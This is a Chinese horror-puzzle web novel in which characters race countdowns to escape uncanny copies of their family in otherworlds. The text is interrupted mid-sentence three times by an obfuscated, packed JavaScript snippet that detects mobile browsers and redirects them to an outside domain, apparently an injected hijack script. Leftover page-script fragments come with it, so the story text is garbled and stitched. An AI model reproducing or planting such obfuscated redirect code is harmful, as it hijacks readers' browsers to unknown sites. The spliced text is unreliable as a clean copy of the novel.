《门里的秘密》 1. 第一个异世界 “您已掉落异世界,通道存在时间还有十分钟。” “现在发布提示——” “提示一:在心中确认‘钥匙’后,‘门’才会出现,携带钥匙进入门内,即可逃离。” “提示二:确认‘钥匙’的机会只有一次,确认错误,‘门’将永远消失。” “提示三:异世界中的每个‘人’都想留下你,只有一个‘人’会提供真正线索,帮助你逃离。” “倒计时开始——9分59秒……9分58秒……9分57秒……” * 隔墙撂帽子——不对头! 床上,睡梦中的女孩儿睫毛不停颤动。 空气湿度不对。 眼皮外的光线不对。 周围的声音、气味…… 全都不对。 一大堆闪着红灯的危险信号急匆匆传递到大脑,它们在狂喊: 危险!主人!快醒来! 安凉“啪”地一下睁开眼睛。 铺天盖地的血红,墙壁,桌椅,天花板,到处都流淌着血液,浓郁得能瞬间把人腌入味儿。 安凉皱着眉头轻轻呼吸,生怕一个不注意就反胃地吐出来。 她惊疑地扫视四周,还没等搞清楚状况,耳朵里紧跟着就响起幸灾乐祸的提示音。 声音像是从耳朵深处传出来的。 最让人毛骨悚然的是,那——竟是她自己的声音。 伴随着这个声音,她谨慎地下了床。 * 入眼可见,皆是她房间的摆设。 大到房间布局,小到垃圾桶里的废纸,全都一模一样。 只不过,像被人换了个血色主题。 不仅血腥味铺满了整个空间,就连窗外透紧的光线都是令人心惊的深红色。 随着那些提示音的出现,她眼前的空气中,也像打字一样啪啪啪打出一个个巴掌大的字。 她凑近去闻,闻出这些字用的并不是普通颜料,而是真血。 字体刚凑成一行,就会爆炸成无数血滴浮在半空中,迅速凝聚成下一行字。 提示的内容说完后,空中就只剩下一个不断变换的倒计时。 * 安凉面无表情地站在床边。 声音停止后,她盯着眼前垂下的一缕头发,伸手拽了拽。 疼,并且疼得很真实——看来不是梦。 再转头看一眼空中血淋淋的倒计时提示:10分54秒。 是时候打开门看看外面了。 房间没有上锁,门把手轻易就被拧动。 门外的状况和她房间内一样,仍然是浓浓的血色风格。 打开门直面的是客卧,也就是他爸妈住的房间。 客卧的右侧,是卫生间。 新家有两个卫生间,主卫在她的房间里,只她自己一个人用,外面的这个则是她爸妈和她弟共用。 迈出她的房间往右拐,右手边是客厅和他弟弟 左手边是开放式厨房和一个大大的餐桌。 中间长长的过道尽头是入户门。 安凉没有犹豫地直接打开入户门。结果发现只能走到门外一米距离,再往外则是一片白雾,伸手不见五指的程度。 安凉没有再走,转身回房。 手刚从门把手上撤开,安凉一抬眼,汗毛唰一下倒竖起来。 暗红色光线中,“爸妈”的卧室里走出两个“人”。 乍眼一看像是她亲爸亲妈,但安凉再仔细一看,发现他们的五官,是倒过来的。 本应该长嘴巴的位置上却长的是眉毛,再往上面,依次是——眼睛、鼻子、嘴巴。 安凉站在原地没动,看着这两“人”坐到沙发上,打开电视。 “爸爸”坐到靠近她这边的方向,坐好后,“看”向安凉:“小凉啊,你站那儿干嘛,赶紧过去跟你弟一起吃饭啊。” 哪怕心脏已经在嗓子眼儿里荡秋千了,安凉仍然一副面瘫脸,她努力让自己和对方下巴上的眼睛对视住,尽量让语气正常一点:“我还不饿。” “爸爸”听后,眼睛上面的眉毛登时皱了起来,不高兴道:“不饿也得吃,早饭一定要吃。” 客厅里响起极其温柔的笑声,坐在沙发另一边的“妈妈”适时插嘴:“多少吃一点吧小凉。” 安凉顿了顿,抬脚往餐桌走。 虽然有隔断挡着,但她已经听见了餐桌那边传来的细微声音。 走过去一看,果然,餐坐上坐着一个倒装脸的“弟弟”。 安凉坐到这个“弟弟”对面后,一张面瘫脸差点儿龟裂。 她弟,一个只比她小一分钟的异卵双胞胎弟弟,长着一张无害软萌脸的可怕白切黑,在这个异世界的人设……竟然是个饱受欺凌的小可怜?! 这真是…… 安凉心里轻声呢喃:针尖大的邮筒——难以置信! 满脸的伤痕,闪着泪花的眼睛…… 虽然眼睛在下巴上怪突兀的,但仍然抵挡不住强大的小白花气场。 这群假“家人”和她真正家人的性格完全不一样。 她妈虽然长了一张素雅美人的脸,但芯子却是个雷厉风行的女强人,完全不会这样娇滴滴地温柔说话。 她们全家最随心所欲的就是她爸,所以绝对不会强迫她吃早餐。 还有他弟——白切黑爆改白莲花。 餐桌上摆着的倒都是正常的食物,但暗红色的光线和弥漫在空气中血腥味儿,让它们看起来十分令人作呕。 “姐~” 变异小白花“弟弟”小心翼翼地将桌子中央的包子推到她面前:“……你吃。” 安凉垂着眼睛和这个弟弟对视。 她知道有一种现象叫做撒切尔效应,是说人们在五官倒置的脸上很难分辨一些细节,所以她刚刚需要很费力,才能从“爸爸”和“妈妈”的脸上看明白他们的表情。 不过,这个“弟弟”虽然同样长得诡异,但他的眼神却格外干净善良,一眼就能看到底一样。 感受着对面传来源源不断的“真善美”气息,安凉默默地移开了视线。 她弟和这种气质搭配,让她浑身不自在,再看下去,她怕她的面瘫脸会维持不下去。 没有了面瘫脸,她就没办法装酷。 连酷都没办法装了,她还怎么对付妖魔鬼怪? 安凉挺着面瘫脸,假装用勺子搅拌着小米粥,在心里默默思索——这个真善美弟弟会是那个帮助她的人吗? “喵~” 一声猫叫引得安凉看过去。 “弟弟”脑门上的嘴巴朝着安凉不好意思笑了笑,然后低头,从怀里小心翼翼地掏出一只小猫崽,端起桌上的牛奶小口小口地喂它。 沙发上的“爸爸”突然大叫起来:“又往家带这些乱七八糟的东西!又吵又脏!” 一个遥控器甩飞过来,啪一下砸中“弟弟”的脸,“弟弟”的嘴角顿时划出一条长长的伤口,两秒后,一道道血从伤口里流出来。 安凉看着这一幕,皱了皱眉,但没出声。 如果对面真的是她弟,这个遥控器是砸不到他脸上的。 “弟弟”似乎对这一切习以为常,没有管脸上的伤,连脸都没抬,一声不吭地喂着小猫。 小猫崽还很小,蜷缩在“弟弟”的手心里,梗着小脖子急切地吸吮着奶水。 看上去很可爱。 如果那张猫脸不是倒过来的,也许会更可爱。 安凉注视小猫崽的时候,“爸爸”猛地从沙发上起身,朝她走过来。 安凉顿时戒备起来。 然而没想到,对方只是像一阵风一样掠过她,几步走到“弟弟”身边,大手一下子揪起“弟弟”的头发,手上青筋暴起,抓得十分用力。 随后,“弟弟”的头被猛地拉扯着撞向身后的椅背。 头骨和木头狠狠撞击在一起,发出巨大的闷响,直到五六声后才停下。 空气里瞬间弥漫开更为浓郁的新鲜血液味道。 “弟弟”怀里的小猫没了奶喝,又受了惊吓,急得直叫唤。 “爸爸”一听见这声音,就要抓起小猫,却被“弟弟”挡了一下。 “爸爸”气得又往他脸上狠狠锤了一拳,对着他的耳朵大声吼道:“给我马上扔了!听见没有!” “弟弟”瑟缩着挨打,对方停手后,他赶忙站起身,抱起小猫快步往门外走。 “爸爸”始终瞪着“弟弟”的背影,直到看到他真的出了门,这才移开眼,转身打开厨柜,好像在找东西。 安凉近距离看完了整场戏,实在看不出它们之间的对话有什么关于钥匙的线索。 她瞄了一眼空中的倒计时。 剩下7分多钟。 弟弟开门出去后,她往外看了一眼,发现外面还是一片浓雾。 她走过去再次拧了拧房门。 拧不开。 看来没有出去的这条线。 她转身,返回客厅。 * 那个诡异的声音既然给了她找到钥匙的选项,就一定会给她线索。 找到正确的钥匙,门才会出现。 这句话的意思是—— 钥匙不只有一把,需要找到正确的那把? 也许,这个钥匙不是正常认知的钥匙?是这个异世界里的某一样东西? * “客厅”里很平静。 “妈妈”始终坐在沙发上看电视,丝毫不关注餐桌上发生的争吵,就算安凉坐到她旁边,她都没什么反应。 这也过于沉浸了吧…… 安凉的视线转向电视上——哦,嬛嬛传。 安凉先是看了看电视上的剧情,确定剧情普通,不会有什么线索后,第一时间就将视线挪开。 毕竟,她实在看不惯嘴巴长脑门儿上的嬛嬛。 “这个电视剧我看过很多遍了。” “妈妈”突然出声,温柔的嗓音像水一样:“你看,就他说的这几句台词,我倒着都能背下来。不过这部剧啊,人太多了,听说有的外国人看之前,还要备好笔记本记人名呢。” “妈妈”说到这里,笑了笑,转头看向她,语气有些意味深长:“不过,人多,看起来才有意思,要不然看电视剧看什么呢,不就是,看人吗?” “妈妈”着重念了“人”字,说完,又沉浸到剧情里,没再搭理安凉。 安凉坐在沙发上,思索着她说的话。 这时,“弟弟”回来了。 房门一响,“爸爸”突然吼起来。 “我的药找不着了!你赶紧滚过来!给我找药!” 思考中的安凉猛地一顿,“爸爸”喊得过于大声,像根棒槌一样砸过来。 缠绕的思绪瞬间像找到了源头一样,一根根解开。 “爸爸”找不到药! 这个世界中,所有人的脸都是颠倒过来的…… “妈妈”说:我倒着都能背下来…… 倒着…… 倒过来应该是个重要线索。 她需要找的是钥匙。 既然这个异世界所有的东西都是倒过来的。 那如果把钥匙这个词也倒过来呢…… 匙钥。 失药! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977577|161410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 安凉看向厨房。 只见“弟弟”听到“爸爸”的话后,快步走过去,在橱柜里疯狂翻找。 “爸爸”狠狠打他一巴掌:“傻子!去别的地方找,这里我都找过了!” “弟弟”没反抗,转而疯狂翻找其他的柜子。 他脑后没有处理的伤口还在不停往下流着血,就这么一会儿,原本白色的上衣已经被染成了红色。 顶着这身血疯狂起来的样子十分可怕。 更可怕的是,他在低头的时候,悄悄和安凉对视上,并且给了她一个同样意味深长的眼神。 安凉心里小小地羡慕了一下,流了半身的血还有力气干这么多事,真是太厉害了,她们习武之人很需要这种技能。 羡慕完后,她朝“爸爸”问道:“那个,丢了什么药?我也一起帮忙找吧。” “爸爸”早已经当了甩手掌柜,坐回沙发上看电视。 听到安凉的话,他气哄哄道:“你不用管,就让那小子找,我看没准儿就是他藏的!” 安凉没再说话,她的注意力再次被吸引到餐桌上。 “弟弟”已经有了行动。 他出现在餐桌下面,避开其他“人”的视线,偷偷摸摸招呼她,手里还捧着一个药包。 见她没动作,“弟弟”看起来很着急,扬了扬药包。 安凉嘴巴动了一下,他赶忙竖起手指到嘴边,让她不要出声,眼神故意往沙发上撇了撇,看上去十分紧张。 安凉无声问:“给我的?” “弟弟”猛地点头,又把药包朝她的方向送了送,示意她来拿。 安凉也点点头,然后挺着一张面瘫脸直接走过去。 “弟弟”吓了一跳,赶紧朝沙发上看。 见没引起其他人注意,他这才将药包递给她,顺便做了个用钥匙开门的动作,随后功成身退,转身继续像个疯子一样翻找橱柜。 安凉打开药包。 里面装的只是普通的药材,只是她不懂中医,看不出来都是些什么药。 倒计时还剩下3分18秒。 “弟弟”的行为已经是在明明白白地告诉她——这包药就是钥匙。 但是,她要相信他吗? 安凉看向沙发上的“爸爸”,这鬼东西又在闭目养神。 “爸爸”身上的线索,是“失药”,但他的提示更像是迫于规则,不得已而为之。 现在,主动提供线索一共有两个人——“妈妈”和“弟弟”。 这两个人中,一定有一个是帮她离开的,还有一个是骗她的,目的是让她找到错误的钥匙,丢失掉唯一一次确定钥匙的机会,然后彻底留下来。 “妈妈”提醒了她重要的“倒过来”的线索。 “妈妈”说的第二段话,应该是在提示她,“钥匙”是“人”。 如果“妈妈”是帮助她的人,那么“钥匙”—— 就是爸爸! 但“弟弟”又给了截然相反的答案——钥匙是那包药。 安凉陷入思索。 善良的“弟弟”,温柔的“妈妈”,谁才是那个帮助自己的“人”呢? 又或者,两人“人”都是故意在误导她,“爸爸”是那个帮她的人,只不过她没注意到他主动传递给她的线索? 安凉不确定。 但有一点能肯定的是,这个世界只有一个人会帮她,另两个人会合伙留下她。 安凉想明白后,拿着药包,看向沙发上好像是睡着了的“爸爸”。 她问:“爸,你要找的是这个药包吗?” 身后像个精神病一样翻找橱柜的“弟弟”立即停下挥舞的手臂,大惊失色,使劲儿给她比划着,让她别说话。 安凉没搭理他,朝爸爸走过去。 “弟弟”当即要追过来,小声喊着:“你疯了!你不想离开这里了吗?” 安凉无奈,这个假弟弟实在太多戏份了。 她头都没回,一个后踢脚蹬到他脑袋上,帮助他休息。 流了这么多血,早点儿休息吧。 另一边,看着“安凉”走近,“爸爸”的脸色渐渐不太对劲,僵硬地点点头:“是,就是这包药,哎呀,我都说了,找药的事情给你弟弟就好了嘛。” 听着“爸爸”特意强调的“找药”两个字,安凉最后一丝不确定也消散了。 “其实是弟弟找到的,刚才偷偷摸摸在桌子底下给我,可能是想要帮我,我终于知道谁才是帮我的人。” 安凉这么说,“爸爸”的脸色松懈了下来,哈哈大笑:“还是你们姐弟俩感情好。” “爸爸”下巴上的嘴巴缓缓勾起,期待地看着安凉。 安凉正好走到“爸爸”,缓慢站住,她看了眼倒计时,然后猛地冲他呲牙一笑。 可能是惊讶面瘫竟然还有第二个表情,安凉这一笑,把他笑愣了一瞬。 安凉便趁他愣神的刹那,反手丢掉药包,迅速抓住他的两条胳膊,咔嚓两下折断。 身后的“弟弟”这时候出乎意料地醒了过来,听到“爸爸”的惨叫声,像是野兽一样怒吼着跑出来。 安凉早有准备,右手鹰爪般抓紧“爸爸”的脖子,右脚踩住地面,左脚一个回旋踢再次将扑过来的“弟弟”踢飞,同时右手顺势抡起,将“爸爸”整个抡向已经成型的“光门”内。 在安凉抓住“爸爸”那一瞬间,她在心中默念了一句“他是钥匙”,那时,被“妈妈”一直目不转睛盯着的电视机突然闪烁起来,渐渐变成一个等人高的白色光门。 安凉左脚蹬地,再同时借上抡人的力,她紧跟着“钥匙”纵身跃进光门。 2. 第二个异世界(1) 眼前是一条古代的夜市,街宽约7、8米。 左右有两排小摊贩,身后各有一家店铺。 这些店铺全都朝外开着门,门内漆黑,门上的左右角各挂着两个红灯笼。 街市两侧,每一侧有六个摊位,卖的东西各式各样。 也许是甜食居多,空气中散布着甜滋滋的味道。 摊位两两相对,直排到10多米远,之后汇成一条向右弯曲的路。 * 安月素和楚雄原本还在小区树林里练功,眼前一晃,就站到了这个街头上,身上还穿着红色的练功服。 在这个灰蒙蒙的地方,红色着实乍眼,但那些小摊贩却对他们视而不见。 小摊贩们只露出上半身,下半身被摊位遮挡,一动不动地站在原地。 * 楚雄小声道:“老婆,这里乍眼看过去……可真诡异啊。” 安月素:“你再仔细点看,会发现更诡异。” 楚雄定睛一看,顿时倒吸一口凉气。 “他们——没有脸!” 光滑油亮的皮紧贴着坑坑洼洼的骨头…… 这些摊贩脸上竟只有一层光秃秃的皮! 楚雄倒吸气的时候,身侧突然传来脚步声。 两人顿时警惕地看过去。 待看清后,又纷纷露出难以言喻的表情。 楚雄用肩膀头怼了怼安月素:“这是咱闺女儿子?” 安月素转头瞪他一眼:“你说呢!” 这两人可是和那些小摊贩一样,都没有五官! 安月素没好气地斥责一句,刚想转回头,突然像发现了什么一样,惊讶地呆住,眼睛微微瞪大地看着楚雄。 楚雄也反应过来什么,同样惊讶地和她对视。 他试探着在心里默念:[咱们这是,心灵相通了?] 安月素听到这句话,看了遍四周,点点头,在心里回道:[这里真是太奇怪了。] * 外形酷似姐弟俩的两个无脸人已经快和走到他们身边了。 楚雄和安月素默契地对上一个眼神,然后同时出手,主动发出攻击。 结果出乎意料的是,这两“人”竟然没有丝毫战斗力,甚至称得上顺从。 尽管它们看上去没有威胁,安月素还是吩咐楚雄用腰带将他们绑了起来。 她看了看面前的无脸安凉,不忍直视地摇了摇头。 “安凉”发现了她的目光,歪头问:“妈?你有什么事吗?” 安月素叹了口气,直言不讳:“你太丑了。” 假安凉:“……” 安月素心想,这么一对比,小凉那张面瘫脸都顺眼了不少。 她又转头看向无脸儿子。 楚雄已经忍不住和她吐槽:“老婆,这只鬼绝对是饿死的!” 不怪他怀疑,假儿子一接触到他们,就开始不停喊着要吃东西。 “儿子”吵闹无果后,又开始哭唧唧:“呜呜呜,爸爸,我饿!” 呦!看着这个会哭唧唧的儿子,楚雄顿时来了兴致,转圈地围着他看。 “爸爸,我饿!我饿!” 楚雄欣赏够了,蹲下来,指着自己的嘴,问他:“你看,这是什么?” “儿子”歪歪头,半晌回道:“你的嘴巴。” 楚雄认可地点头:“对啊,这是我的嘴巴,那你的嘴巴呢?” 他一言难尽地用手指绕着他的脸转了个圈,遗憾道:“你没有嘴巴呀!没有嘴巴你怎么吃东西。” “儿子”反驳:“我有嘴巴!” 下一刻,它突然停顿一下,之后大变样,可怜兮兮道:“呜呜呜……对,我没有嘴巴,吃不了东西,我没有嘴巴。” 楚雄建议它:“没有嘴巴就不吃了呗。” “儿子”摇头,喊道:“要吃!我要吃东西” 它说着说着,猛地把脸皮凑到楚雄的脸前,几乎要贴上,也不知道从哪里发出的声音大吼道:“我要吃东西!我饿!我要吃东西!” 楚雄一点儿没被吓到,回瞪过去:“怎么的!小子!你是要吃我啊?!” 安月素实在看不下去了,拽开比鬼还疯的楚雄:“行了,别闹了。” 楚雄重重地哼一声,松开了“儿子”。 像是觉得安月素在给他撑腰,“儿子”被松开后,声音小了很多,听起来委屈巴巴:“我只是想吃东西而已,街市上有好多零食呢,我想吃。” 楚雄看着它若有所思。 [老婆,要不,我们去街市上看看吧。] 安月素点头,她也正有此意。 两人刚一迈步,空中乍然响起一道声音。 【抱歉通知,您现在正身处异世界中,务必在十分钟内找对通道,回到原本世界。】 安月素和楚雄惊讶对视一眼。 这个不男不女的声音竟然是用他们两人的音色糅起来的。 【现在发布提示。】 【提示一:首先找到真正的“钥匙”,再找到真正的“门”。】 【提示二:小摊贩不是人,他们是这世上最邪恶的生物,他们会告诉你哪扇“门”是真的,但他们说的都是假话。】 【提示三:猴子最像人。】 【倒计时10分钟,9分59秒……】 空中悬浮起红色繁体的倒计时。 同时,原本伸手不见五指的店铺门内,现在却出现了一个个仿佛用血液写成的数字,每一个字都还在往下滴着血。 左手边一趟,由近到远,分别标记着壹(一)到陆(六)。 右手边一趟,由远及近,则是从柒(七)到拾贰(十二)。 根据那几条提示,这些门中只有一扇门能离开这个鬼地方。 两人齐齐深吸一口气,不动声色地用心声交流。 [老婆,你觉得钥匙会不会和鬼儿子要吃的东西有关?] 毕竟自从他们来到这里之后,只有这鬼儿子最闹腾。 安月素:[也许,那先看看他要买什么东西,钥匙,我怀疑就是他要的食物。] 楚雄眼睛一亮:[聪明啊老婆。] 他转身拽起被绑上的“姐弟俩”,解开他们腿上的带子,只绑着双手,让他们自己走。 姐弟俩对被绑这件事好不在意,逆来顺受得很。 楚雄哥俩好地搭上“儿子”肩膀:“来,儿子,想吃啥都跟爸爸说!” “儿子”顿时开心起来,立即指向一号摊位:“糯米糕!我要吃糯米糕!” 楚雄态度极好,带着他走到一号摊位。 安月素带着“女儿”跟在后面。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977578|161410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她一直在偷偷观察着“女儿”,觉得她的性格看上去倒是和小凉很像。 只不过她家小凉是面冷心热,面瘫脸纯粹是为了装酷。 这个怪物则是个真正的冷血动物,哪怕那张脸上没有眼睛,但当它“盯”过来时,会本能地感到头发发麻。 * 这里的小摊贩都穿着一模一样的纯棕色麻衣,头发也是一溜儿的寸头,活像监狱里的囚犯。 因为没有五官,除了高矮胖瘦之类体型的差距外,根本看不出他们有什么不同。 楚雄朝小摊贩要了一份糯米糕,小摊贩立即给他包起来一份。 但很奇怪,他全程都只用右手,而他的左手则一动不动地垂在桌子下面。 [老婆!他的手!] 安月素:[我也注意到了,我绕过去看看是怎么回事。] 安月素脚步轻巧地绕到摊位后面。 这时候,小摊贩正好将包好的糯米糕递过来。 因为先前怀疑糯米糕就是钥匙,楚雄眼疾手快地抢先“儿子”一步,接过糯米糕。 他笑道:“爸爸先替你保管。” “儿子”不高兴,吵着要马上吃。 但因为他的身手比不过楚雄,最终只能怨恨地站在他身后。 楚雄嘲笑他:“你说你,想装我儿子,怎么不把他的身手学一学。” 他正得意着,心声交流频道突然响起老婆的声音:[你过来一下。] 楚雄赶忙跑过去。 桌子下,这个小贩的左手在以一种十分别扭的姿势指着九号门。 “爸爸!我还想吃冰粉!” 楚雄还在思考,假儿子猛地又叫喊起来。 他纳闷:[难道钥匙不是糯米糕?] 安月素想了一下,说:[你带着他们俩去买东西,看看他到底要买多少,我再去找看看其他小贩的指向。] 楚雄往外一看,临近的一个小贩也在左手指着某个方向。 他点点头,走回鬼儿女身边。 “走!咱们去买冰粉喽!” 可在这时,“儿子”却突然伸手按住了他,站在原地不走了。 楚雄回头,发现“女儿”也在一动不动地“盯”着他。 事情有些不对头! 楚雄顿时警觉起来。 这时,一号摊贩说话了:“客人稍等,您还没付账呢。” 突然间变得阴森森的鬼儿女也跟着开口。 那死动静,就像死了好几天的僵尸硬得张不开嘴一样。 楚雄全身的汗毛,“唰”地竖了起来。 “爸爸,你该付账了。” “爸爸,快付账。” 今早出门的时候,楚雄为了买早餐,还真拿了些钱。 他想到这里,先伸手压了压胳膊上的汗毛,然后准备掏钱。 可手还没碰到衣服呢,胸前便是一阵剜肉般的剧痛,他瞬间疼得无法动弹。 “唔!” 楚雄弓着身子,闷哼出声。 安月素正在查看三号卖文房四宝的摊贩。 听到声音,她“唰”一下回头,紧张问道:“怎么了小雄?” 楚雄侧着身,假装揉胸口。 实际上,他的手只敢在胸口上方虚浮着晃动,那里刚少了一大块儿肉。 3. 第二个异世界(2) 他竭尽全力让安月素察觉不到端倪,轻松道:“没事安姐,今早练功时扯到胸口了,有点儿疼。” 安月素皱着眉,有些不相信,干脆直接走过去看。 当看到楚雄上半身大滩的血,她心里一沉,迅速将他衣服扒开,吓了一跳的同时,也松了一口气。 还好,不致命,只要止住血就好。 “怎么回事?” 她凌厉地扫过周围,却只对上三张没有表情的脸皮。 安月素背脊发凉。 是她大意了,刚才短暂的平安无事,让她轻视了这个诡异世界的危险程度。 楚雄咬牙:“幸好是我带他们来买东西,没想到这里的付账方式竟然是挖人肉!” 安月素眼睛红了红,她后悔不是她来买。 楚雄“付好账”后,鬼儿女也变回之前的样子。 “儿子”不再按着他,又开始闹着要吃冰粉。 安月素撕下楚雄的衣服,缠到伤口上给他止血,沉声道:“接下来我们一起行动吧。” 两人这次无视鬼儿子买冰粉的请求,按照标号依次查看小贩左手的指向。 之后,离卖冰粉的摊位还隔着一个摊子时,安月素突然快步跨过去,还没张嘴,就听到身后的楚雄大声道:“来一份儿冰粉。” 安月素无奈回头。 楚雄笑:“老婆,我胸大,不怕挖肉,要是还有下一个你也别跟我抢。” 楚雄依旧先“儿子“一步抢下冰粉,但“儿子”这次并没有强要,反而隐隐有一种很高兴的感觉。 安月素看着“儿子”,若有所思。 接下来,这家伙又开始闹着要到九号摊位买糖葫芦。 卖冰粉的是8号摊位,下一个就是9号。 这时,楚雄脑海里又响起安月素的声音:[小雄,你注意点9号摊贩,我觉得他就是提示中的猴子。] 楚雄冲她眨眼:[放心吧安姐,我早就想到了。] 十二这个数字与猴子联系在一起,很容易想到十二生肖里的猴子,正好对应9号摊位。 9号看起来没有任何异常,左手指向身后门,右手如常地卖货。 楚雄刚想先发制人地要糖葫芦,安月素却提前一步抢了先。 楚雄皱眉,不赞同地看着安月素。 安月素冲他挑眉:“我胸也不小。” 楚雄:“……” 心疼地帮老婆包扎好后,楚雄一把抢走糖葫芦。 安月素忍着疼,观察“儿子”的表情。 她发现,这家伙浑身都洋溢着奸计得逞的得意,安月素更加确定了自己心中的猜想。 [小雄,钥匙不是这些食物。] 她将自己的发现和楚雄说了一遍,楚雄道:[我也觉得奇怪,他吵着要这些东西,买了却一口不吃。] 难道它做的这一切纯粹是为了迷惑他们的吗? 安月素回想了一遍“儿子”在每次拿到食物后的表情。 她记得,楚雄抢走糯米糕的时候,它并没有得意之色,反而在最初有一些紧张。 直到他们走向下一个摊位,它的状态才有变化。 钥匙一定和食物有关,但不只是食物本身而已。 楚雄听完她的分析,突然灵光一闪。 [老婆,你还记不记得,之前我说它没有嘴巴,它下意识说了一句它有嘴,之后又很快变了话,哭着说他没有嘴巴,吃不了东西。] 因为当时它哭得情真意切,楚雄并没多想,现在回想起来,这只鬼当时好像怪怪的。 像是突然说漏了嘴,又立马反应过来一样。 [他怕我们知道他有嘴,有没有可能,钥匙的关键就在那张嘴上,钥匙,其实是吃了这些东西的他?] 安月素:[有道理!小雄,这只鬼看起来经不起激,你去激一下他,看看他到底有没有嘴。] 如果他明明有嘴,却故意骗他们,说明一定有问题。 楚雄走到“儿子”身边,大肆嘲笑“儿子”没有嘴巴这件事。 这家伙果然经不得激将法,很快就漏出了嘴巴,将那些食物三两下吃下肚。 楚雄不停搓着手臂,抖了抖身子,心有余悸道:[这也太膈应人了!] 谁能想到这家伙的嘴巴竟然长在头发上。 满头的头发上都长满了密密麻麻的嘴。 虽然这些嘴小得几乎看不见,但是千万张嘴一起张张合合,不停闪烁的样子实在是让人受不了。 楚雄怕自己再看下去,对身心不利,赶紧闭上眼睛,缓一缓。 不一会儿,安月素突然朝他骂了一句:“你胡闹也要分时候,现在这些吃的都没了,我们怎么回去!” 嗯? 楚雄惊讶地睁开眼睛,疑惑地看向安月素。 同时,他意外看到,吃完东西鬼儿子都变得有些不一样,傻气去了很多了,看起来有些危险。 不仅如此,就连旁边一直沉默的假女儿都明显多了些攻击性。 安月素一边骂他,一边用心声提醒:[咱们也装一下。] [什么?]楚雄问。 安月素提醒:[我们要让这些鬼以为我们是误打误撞,仍然觉得钥匙是吃食。] 楚雄立刻明白过来。 他假装委屈地回了安月素几句话,然后慌张地要带着假儿子去重新买东西。 安月素拦住他,不高兴道:“行了!先找门,找到后,我们再买。” 楚雄叹了口气:“行吧。唉,都是我这张破嘴。” 楚雄的演技非常好,果然骗过了鬼儿女,它们悄悄“对视”一眼,又变回得意洋洋的样子。 楚雄则垂头丧气地跟着安月素去研究9号的小摊贩。 楚雄观察一会儿,说道:[老婆,看起来没什么不对劲儿的啊。] 安月素眉头一直皱着。 她也没发现9号和其他小贩比,有什么不同的地方。 她快速看了一遍剩下的三个摊位的情况,总结道:[现在1号,3号,9号指九号门,2、4、5、6指的四号门,10、11、12指的十号门。] 楚雄:[既然提示中说,他们说的都是假话,那是不是正确的门是除了这三扇门之外的。] [应该是。] 两人接着观察9号摊贩。 楚雄突然问道:[老婆,猴子都哪里像人?] [猴子外貌像人,大脑结构类似,还有他们也会像人一样喜欢抱团。] 楚雄思索一番:[有没有可能,他的脸上会突然出现人的五官,这些五官上有线索?] 他说完,两人便聚精会神地盯着那张脸皮,盯了好一会儿…… 很快,他们放弃了这个猜想。 楚雄又思索一番:【我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977579|161410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道了,他喜欢和同类在一起,但这些人都冷冰冰的,所以他很孤单。】 于是接下来,楚雄又开始和9号摊贩称兄道弟。 交谈了好一会儿,9号仍然没有一点儿动静,根本不搭理他。 楚雄干脆道:[不然把他脑子切开吧。] 这次,安月素没再和他一起胡闹,而是自然自语地默念着另一句提示:[他们说的都是假话……] 如果只看猴子的手就能找对门,那第二条“都是假话”的提示就显得多余了。 此时,楚雄仍然对9号的脑子蠢蠢欲动,打算做个开颅手术:[也许打开他的脑子,就能出现一条线索,排除掉最后八道门。] 倒计时1分15秒…… 安月素:[会不会是,我们应该把两个提示合在一起考虑?] 他们说的都不是真话,猴子最像人。 最像人…… 人会怎么样呢? 在倒计时的压迫下,安月素突然灵光一闪,在心里兴奋道:[小雄!我想到了!猴子最像人,是因为这里只有它会说真话!] 跃跃欲试开颅的手停了下来,楚雄愣了愣,说:[可是,人也不一定会说真话啊?] 安月素摇头:[有一种情况下,人,会说真话。] [什么情况?] 安月素盯他的眼睛:[人之将死,其言也善。] 楚雄的汗毛唰地立了起来。 安月素说完,看向空中的倒计时。 57秒……56秒…… 没时间了。 安月素在心里喊了句[抓好钥匙!] 然后当即拔出练功服里藏着的匕首,没有丝毫犹豫,干脆利落地插进9号摊贩的心脏,怕杀不死,拔出来后又在脖子上深深地划了一刀。 9号脖子上的血像喷泉一样喷射而出,但身体仍一动不动。 身后的鬼儿女突然大吼一声,朝安月素发动攻击。 楚雄反应及时,一脚将“女儿”嵌进对面的摊位里。 “女儿”挣扎了几下后就不再动弹。 “儿子”则始终被楚雄死死控制在手里。 其他的摊贩全都没有动静,安月素始终目不转睛地盯着9号的左手。 楚雄抓着“儿子”,焦急等待着。 空中的红色倒计时只剩下十多秒,字体像融化一样,往下流淌血汁。 楚雄不由紧张地叫了一声:[安姐。] 安月素没有回应,屏住呼吸盯着那只手。 